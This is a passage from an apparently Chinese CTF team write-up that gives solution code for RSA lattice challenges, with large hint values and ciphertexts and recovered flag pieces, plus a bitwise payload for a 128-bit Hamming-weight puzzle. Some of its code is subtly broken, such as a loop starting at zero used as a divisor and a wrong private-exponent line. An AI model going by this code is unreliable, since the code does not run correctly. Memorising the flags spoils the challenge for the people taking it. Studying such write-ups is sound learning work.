#flag{yOu_can_

第二部分参考这个题:https://github.com/josephsurin/my-ctf-challenges/tree/main/downunderctf-2023/apbq-rsa-ii

from Crypto.Util.number import *
import gmpy2 
import itertools 

hints = [18167664006612887319059224902765270796893002676833140278828762753019422055112981842474960489363321381703961075777458001649580900014422118323835566872616431879801196022002065870575408411392402196289546586784096169497244978721530181854548050568170093064608343633666745034455556011660636125341312188722206230857575988034717124849938466799179406764684006192800277663928919093116284555061765807549864323947809681527991109621704782638526626605328409367859532171057107537477854421238084732174575783823665917290620510274066760243578752198477648697118734920417043171465473317562283593970294599153056592539379370665428200952447195711999125276634064427324410040718861523090738559926416024529567298785602258493027431468948039474136925591721164931318119534505838854361600391921633689344957912535216611716210525197658061038020595741600369400188538567226209290753092804056492383493576403038752108642088542174205094977884513661328894312400391645526115755281029780242925509595414497203715717579251059180516537775192190034044062995518221635748991631833567877435432044855527136743017313475913956587406060970936389300218806222123267042390023590787944298961905087417275099768498678699178481327657171417167516104789133908383355799954295502125740895836708443532631545051884739316581432595661532600201978812720360650490725084571756108685801024225869509874266586101665454995626158761371202939602347462284734479523136008114543823450831433459621095011515966186441038409512845483898182330730232798538420024159043744330391197546534033090151900653117148770602590274982821605458511699916110955051908108195084981769474393177969191778994452329315197143862959099886040426594199154822675425243739508926625441654228097686334613893393878669456241054242984216931023190967181029144436977513308289132967622732840110850552014971155559423652307825870172665273643839724915348452843933600844277124098057514195222251732447660717054798687400834881313828738161453727952686763495185341649729764826734928113560289710721893874591843482763545781022050238655346441049269145400183941816006501187555169759754496609909352066732267489240733143973221157286630513247105385179871514462872088824415699307059448073375424111964769675866303739465390211841085428877962996612009333950319195015743572889140286865627636211661726688085249812539760899631769156862952171932474500242597112182083785993993885820454549625463201081815934704122275783593786730737294998692464604017992348135085401911323717271052284777184225788808308895898078312277586044347568030229421176481263699302517269103712436870749511150569030640471982622900104490728908671745662264368118790999669887094371008536628103283985205839448583011077421205589315164079023370873380480423797655480624151812894997816254147210406492173654676167859684107179697472075818220181959055732143227286689022300862919261932282357445132857184945657365380606773249717578103253416576278300822927945179946685975218427234731676153886742196214830610953517802082398896490313669054560856999342938684729928501971684066266282913451603936633501416803496319041037938498753511712779709718544187089409797331013052570034482242961602479535449615826129314043803710042918528093919068742071797863698141529586788871165176403351706021832743114499444358327620104563127248492878047796963678668578417711317317649158855864613197342671267006688211460724339403654215571839421451060657330746917459200896395972103477578912512576845151811782244043506990158203245444310160859805427034472571343206689612809074955802518801779909354434387997762529798439699842704610138881227039339750017044041291301568335422638822234473432613145720450048724324986092482867394452198079899425085937262829569566007628934399835144866754825012935826259204313120596759261328926099814899138819091786332269013745844869639234473829223328543766249522688858027824961235755458925538246922604928658660170686458395195714455094516952026243659139809095639584746977271909644938258445835519951859659822660413616465736923822988993362023001205350387354001389518742538212860464872897963355016431954373523341001958311279224780441974112935103607101885813140230525806928104842511182535508375256370653854398596314945331022445854932439728193698123523854257000286406412924103265141112154272954846581560535706707232301357079665757560367641848597521464139813984353782064398291430212297678985981710249848449640954601211999835994327420333840077615898620577647402435656724750874478420035438506066622319592382753357951626314613193901130171847776829835028715915533809475362288873045184870972146269975570664009921662023590318988850871708674240304838922536028975978222603171333743353770676344328056539379240160251952091919447616482468746310384070552408932048941457099963996908075696521607216160117127392144349326396466881873048653978161889995927748749894018713007845345387621358300142554253911323065368838042010559923131825780424495644916091610760221208986939588684699032045213319308761162691992679684526372742204217922960681743944252154078426816917733170731478842767011299955168392793442771655413759779828330012079627722950967820293403064916574136692432190836928681820834973375054705153628740577159076332283715581047503287766236543327123639746352358718218140738999496451259789097826888955418315455420948960832865750253988992454128969953159676548205849660126287084756667062772184849199236394924315380680595432325624310597527003772423265274172381515011689401914881791440492865126521111721491135490720038814607430352793886729848058235608976888951242514418797987603902424587920032584309277438992662002612406177543156997423275879920033388803901349460372106570919535333035075005530931520749974143718109487489464773690405582987785990631807399198602017815877628615736932921640444103019961538951409924080453868073105830403926861058056351553271238438325117113945341892868641345117717666354739204401152657265824568724844930574396801692131746182948347887298330990039956813130188310726734397327647227624857336222348894479535075823968197043597712082367216928203621372195096113190887560452114077778805217267826978957680174600648896700661787108041246311285815563141222555648612690623853372380043756168481355266174977484075201350153368394861879881147021466902464639616548709372096022100903881790906607523893718937122709803258145046640246201443742125437584626383092794534348598846352507007491372071024402191070622494792723290726249952159888270689258801831518209605331984684494095167423722682814769395395011136124403802097229547003802312444913008194461779426175966774202219703164060353710247619639616444797670202154815138319635544216865435605968576598440274865229400607917759846220490241733635333784550761091657281445767190153920335364983530948955649176448409946627043621215495253291052055143328089502060921909399314481838445391760595574721256028023254748104160019603128508459813247580199071012575470564548243643653160869637346264176539962229631459007155861619303593910852335702028789687947945204017176591671637710245426693322621890401344164908103930010123434944359446535642544335610455613014563290097498740447164765588532234051104173227090428486681237432196639010849051113283297943367655458678533223039415083212229970648958070799280218183798934412936947475706200092418142029368734423703542460299790422477057306101908887109819181833900283864512901377553398903294744032240436757248513147708619390824477281946325488648233988182215266523313192630271871582713022898695136001359046477500101902691338471887613444968977360006096239273861940537003308570404602739789562793384482463072328614436780048415757454881906540611833866593103277949189778350479066982430128813588739911708699123450670852772302012518315143187739886523841133752009403411431627334135210166268158490674049617489193734568451811305631563767138879895461211915128972052001136464325219117009268526575020143259185060399129438211933739204838473471556113061733683419796550927781471697689844772362245267864414669333605004180902109125749909627094527251227929639196166333891256051607964466745024168019642710046257012382025752216798551754734218481291943706984488965044852226035915408692360190006099857224559816721321702205114157007528405161527646495234662043058769418854867989509555645980492101674471309888249617449769387818766537286521507363933875318987283059841465034113263466805329282129011688531718330888226928182985538861888698160675575993935166249701145994333840516459683763957425287811252135418288516497258724668090570720893589001392220202503215866081052678846659294435113225403604755529161434056514190347720617892981509746298178176115911004504680708423733417567043003933522527258591024266651871947542801297494027967461186089370611417683019955221610425915102476602564577875595163809368127323441551044417398119830166634333480861474836166263750809151149882925367716717109158294278001735591243349721457642569745948372777727304599344628372129071404460081420314560242181138184594433372530956542527312169507277535425067427080573272033961044062335960097446781943943464713852520415535775461964590009720592053626735276833191667395201287169782350381649400286337671320581068162393475966154026993900267491503817148074452187674968685692827676738286623407743495304053476675585557814337747051395934698389462012185376412969498226395092969660921389546851860598196286963401213566601669371312134447231763479528825281132714154659629163342485028449235178392159929047800581413356017182808640515229830916907758564718936629282361354797342825060467423485728934161344817724645195669570041743279488627770471616053809990112020217624905718566971288375815646771826941011489252522755953750669513046736360397030033178139614200701025268874379439106827823605937814395162011464610496629969260310816473733828751702925621950679189178558836230501901549896833278381350818136384303450998925371869548764897108574733269200094127781404518559526226866356943234668270343731146570238924846392389145930121751205402107801025360037587945718465023972269017127871505677905223397264265717354039902477052798365921619710804202164432877301069885114395350359932988560762177381671800886174202738843253485016366662947631534013762668199431686636844954829232815672820621087818524872480052313215092436868441694786060866149491087132591272640372512484925209820065536439188250579925233059144898601140234767300574307770064543499923712729705795392684173268461519802573563186764326797184397534700948412913945433967852507363325964971905780586989601524153390367146648359258229427847009175862706408136630021614256943922599819744915353707065605505405255108754650913843832550812979631693907774753522010571969901574414603937420892674015995231839117113754488786873951853525400080381172976368126230453972425351846585088390430897996453524237123541504940328058513399373294691955018026085276728966907636211545420017251599484976651171587511011045311555402088003441531674726612079301412643514474016351608797610153172169183504289799345382527665445027976807805594288914226822374523878290416047130731166794970645275146679838899230273319914375858962339070224696240306307022372611702592908728473553044560433792383621205184090858406383967366660569927476272711930891160951670492482705419797165946710699851830702903751212703986232155872075291815814968549616979829912968300922126418560846941029506941166983291964696832494612175741151137349874760467919873912583546281435224379791974457208630793958550156609270535569301562500971701707730220166378820860918276153196656501517216055049560959047263892309902154534799806637704337317207294332426798932144785240877892837491213916540255237702169595754963908689566362060228840286531616263506272071630209104758589482803348198306547028354642890825208929396576535744511198985872133201883328422910058636997645974544038742857152526818200279193591945548632993859117409089526499666177843768529635522765584752171686966958674025225082900551534982822663864496310641498624067636482226197553468413718304473350852100384355909451538714494981155217324140607627001529192594345960362204316821953408077293729791132316583987036455084168527012555612575662755320923687596111161976478930953796496927811701530608223491138786355445002217973253897724452954815797952200740069102515860924306246841340715110620719064010080520601890251137419840158983682372232110885549732743013210957480060224128317033526500238823512184148665175688228182989495104715548852076450493859668272105646673716658556687074241050405995999011652923603216670079680657087965938516530853399289477550812032652813570132013632043363642231543275419582112522477771603403165634223336800025745949747259686025259253193914654368540619897805824259911685926354632966926354366011474738504154928336718302600145444529798143993840154722822916496919752274418275948572022974868132658743151124597724312835413857298109100258912203517423633396955060591787380445877361136405137884456764770035346437177846666365911942996404514058688909577420388537479730705137887284382724981647277370748117970938180337998361598944727364807635306700136822886708891244846703366604489070746736254662181664133153424206676080741799754222844721840487904751292818502985191128841017764263802485287148544879533226734579374328109393116123548125120994804958474944145162157275208066269761025331533133518061165194637413706825611215225368197240600025207601609920091267037041704509003404538399181275612079118663346319122078996775762643035864683521213720864038756854558668694021987970601131985163948257100423991091156649638455828855082098689641225427227191064496066436196910238564311309556938903101074363279783438714214000686810319314593964700396515245752624574897928947644063649523944764408047796512330228625276361149683257821973807210954066280841833363584594760062674160338927719325286883123751094638032150349052816579622931604415815584717203010376120457294250719557838220845542384660300331848348469808894848613204099574683725770570418772530683114230521534246701656445258216586603942718460760567330459519495949914503121109610953416716518253246325822837502418827700493807621067058438396395472266350036385535241769917459657069911028720968654253735107131282350340465691670072304718987805883113410923109703284511709226857412404454224134480632696220324690666011232875865070397040800589839692352465395011897202368803120241984511987886990023350101206585649266772437083674307736610972210766159533427338960639099536023799363126391923152232585561349580596376051747461194217780807031594891022664369795706957857224470935415501051269405998776504074614898154576066037136097593652607685261998773331604284781317738351924150502463533229399292002342006061064814084136982273971620097265939024591617239874622716452182434300498447992668997438018575636772416262543204370899462096267444545094719202447520254303983442269757551626971917981420832391886214473318353984504467919530676605744560570181702514827050612269680414498120789234774528411626508889225642157900885459367534535131621976619161722158595045454092744404508076778458942921772968351546747746949923880338743498072440200991676811463571287853941808400743752311812942147675191849105591452833190278091128840434401655165013867915775456793859368836906298127937132016993928188230779700911645887150375987302391471833794495376442618393763537928057243467657575717001811604221128900675671565539617923973183364469396458234914432162200119518252971721448274846235879320362924206656971472493711107677598961463553324277826426691784458674010708635756004550789902368338633272118202170095745151266197241394858857213249369608494016378408605655695885959920875374547440669053873962668442363873150049153834567361423075239603945946500886630192288260913090492117806077618626632424376566102982432553444091697020155011800620370686024911108774800055022668088543100613613174228096309065060763246766655850852015253510512266161537629867345419806436109431969930708411700101911566967002919517104730428389106979218871869316294018605789169171879572816494092699556970507058691345095743053290043643010965660058888064972257990750611470141816041727746767146945121588515830427165739580791663951175220638901672353681640741068573201739685379136413399150580568781813634565795379943175627898573979281961601130426597775585502423157884170228916127231488431429586689590468901972199917278944517954381385920056953296073260866449560737596097430662060194339499026514402114436597016401731973730043651853650327034614711256530336148766838870036963661135428033284181232453050156920003118658474927845365117212116181420702565051963778100728643598168222852870630516397528630087028144645213166977866073543422560337716097539091258081008408890966764995645782823950721804205427713461441138000880478364026137452291234097219085473748076681729365744710225699866258812642458184750213733503335681410008769697852968026707765087782780051580471050584305506657870882654862229054026904211558611036483702492497905601857907230428672827346935530394774360557751980370420474380478982270977493546198221776746976741605232235779573689964876086831651207984934002804081735380889958920120133815211422927998084949104957454336127504627613525341768568126200821158206095597406455912931152432318596085695546276155535309122148352529815091269441663541923247974004854058764556809596705832663604786920964849725772666340437231503146814919702525852955831173047034475925578238466977606367380212886384487294569287202762127531620290162734216638425280266217414140502565536528153728857070313837136578267189447351770833003020645093421166517316715705913365969539115704771615367309828871824344077610364429935885902302966430016829446544906458151777774552021907735892931746166088172499043633463907804741269349758435896324184051374836554846530281797532998785478430527583204588969002290938353083738254357929245129726962366325709845864505609920105057847210395785112818255302182526662903763852563401346841065939531070045000414364747445988455597258924280193695407035356029557886165605853810182770534711966292253269625917149411889979307227493949293798772727125069093642134972336249260641451287494290791171714670420198872575043291030381717627869863491575155529272165749904233270132027355446011702477306475989310304327921678673433432134116005168550097882940675881535040262672130135917930272236960731472446876025312391537499162154499243705765234035073593568018370546706487634666385969691916724352264802953170063020218867140629853318708729246177492734082119286679740098723150921171808923748190267110016994227117141934754898145294760231694287000959561775153135582047697469327393472840046006353260694322888486978811557952926229613247229990658445756595259401269267528233642142950389040647504583683489067768144570217588854586821184283571341001185463512704083358453110631393096575321311595304858451869536506759259316342901828061735755435612503697689359029298618985973966216562144904290097069897793453672627584130500712136242015628261603175582670033684531382379814785449542866074388448157348447109988757651430976997852522536925470046874298109954884027753297830666591084492898623504242069833220126476473468550200123436918952133239264223291765247744127414491614915358658114280269483384022733002965612273627987872443453777028006606037159079637857473229879140366385523633075816362547967658930666106914269093225208138749470566410361196451552322613198077922170796521757133650653616593188707389529211951736195516459567450505062719539491392300971280344168151696498747608901895156202325057031628310902257154535024229054188243169572573959921217506613895034950332207420937319490253921536738275848606853303227591231370326999062720677496765333649661923192401321632104264946171129255546457412471493451120223131996336191293784206848370029809720940021786903633864460760755786019678336511265998427322297909733474384702243426420286924671444552444079816707773485084891630780465895504253899943221044355971296122774264925882685351095921532685536165514189427245840338009573352081361238596378247463147902103932135461503221175185423804380016872698726796026875975959333505105987427498401028413646276471516694289366781305560273008868500862200745636643674092180383386236913724338317849168167989931624711631934613720651289525420237001855513971369027283389519547276670471528216409195913185052057167250960184819346879231343764299792379011811547621266329611196364401101074400608684759910849227998646825544516024184870822739514514055088545643169404630736699361136323546717268615404574809011342622362833245601099992039789664042350284789853188040159950619203242924511038681127008964592137006103547262538912024671048254652547084347214915122796982084009745017133000966392158824959770781325486316067968108811490111619036848948267525201679095388563542381042882013442116042232979242539601997543262391138620024692240424420189786231496851309014551938100815193812977512956350760772585917392594679707526143700134905103730609104761153390018659394673990668548145698557347686312371633192346938656543210566232484979818217561635172153304817474550197839423880308119965143096260141101824772370858657624912960190922708879345774507598595008331705725441057080530773097285721556537121282837594544143441953208783728710383586054502176671726097169651121269564738513585870857829805]
n,e = (7356630748876312258017986762625264294095529874875281891901782862496383270076691540912505751562434729960394479034221538022072896439307126145414334887836919297908709039485810825542184196668898288477899978607628749323149953676215894179093373820095919518531022326863010509011959336346456885826807438272320434481965537)
enc2 = 30332590230153809507216298771130058954523332140754441956121305005101434036857592445870499808003492282406658682811671092885592290410570348283122359319554197485624784590315564056341976355615543224373344781813890901916269854242660708815123152440620383035798542275833361820196294814385622613621016771854846491244

V = hints[:4]
k = 2^800
M = Matrix.column([k * v for v in V]).augment(Matrix.identity(len(V)))
B = [b[1:] for b in M.LLL()] 
M = (k * Matrix(B[:len(V)-2])).T.augment(Matrix.identity(len(V)))
B = [b[-len(V):] for b in M.LLL() if set(b[:len(V)-2]) == {0}]
for s, t in itertools.product(range(4), repeat=2):
    T = s*B[0] + t*B[1]
    a1, a2, a3, a4 = T 
    kq = gcd(a1 * hints[1] - a2 * hints[0], n)
    if 1 < kq < n: 
        print('find!', kq, s, t)
        break 
for i in range(2**161-1):
    if kq % i == 0:
        kq //= i 
q = int(kq)
p = int(n // kq) 
d = pow(0x10001-1, (p - 1) * (q - 1))
m = pow(enc2, d, n)
flag= long_to_bytes(m).decode() 
print(flag)
#s0lve_the_@pb

第三部分参考这个题:https://blog.maple3142.net/2024/05/28/angstromctf-2024-writeups/

但是解出来不对,后面发现用的第二组的数据加密的rsa。。。。直接用上一个d解就好

enc3 = 17737974772490835017139672507261082238806983528533357501033270577311227414618940490226102450232473366793815933753927943027643033829459416623683596533955075569578787574561297243060958714055785089716571943663350360324047532058597960949979894090400134473940587235634842078030727691627400903239810993936770281755
d=63161710023005682001641222387261908738600679768601303308593545341859788186928800467532061832081889220655732875520328593226116199528042689465519293752965146159007213214854517385876812127128763146579744489192395430402667797637566878199509162723122664866142409202723436205520130646241903926144243067536101288033
n=73566307488763122580179867626252642940955298748752818919017828624963832700766915409125057515624347299603944790342215380220728964393071261454143348878369192979087090394858108255421841966688982884778999786076287493231499536762158941790933738200959195185310223268630105090119593363464568858268074382723204344819
print(long_to_bytes(pow(enc3, d, n)))
#q_prob1em!!}

21_steps

计算一个128bit数的汉明权重,找到了这篇文章:https://blog.csdn.net/nazeniwaresakini/article/details/107892004里面实现的是64bit的,根据相同的思想做一个扩展就能实现128bit的计算

最终payload

B=A>>1;B=B&113427455640312821154458202477256070485;A=A-B;B=A&68056473384187692692674921486353642291;A=A>>2;A=A&68056473384187692692674921486353642291;A=A+B;B=A>>4;A=A+B;A=A&20016609818878733144904388672456953615;B=A>>8;A=A+B;B=A>>16;A=A+B;B=A>>32;A=A+B;B=A>>64;A=A+B;A=A&127;



作者



CTF战队

ctf.wgpsec.org



扫描关注公众号回复加群

和师傅们一起讨论研究~


WgpSec狼组安全团队

微信号:wgpsec

Twitter:@wgpsec



Hacking黑白红
知黑、守白、弘红;白帽、大厂、安防、十年、一线、老兵。【分享】个人渗透实战、编程、CTF、挖SRC、红蓝攻防、逆向,代码审计之经历、经验。
 最新文章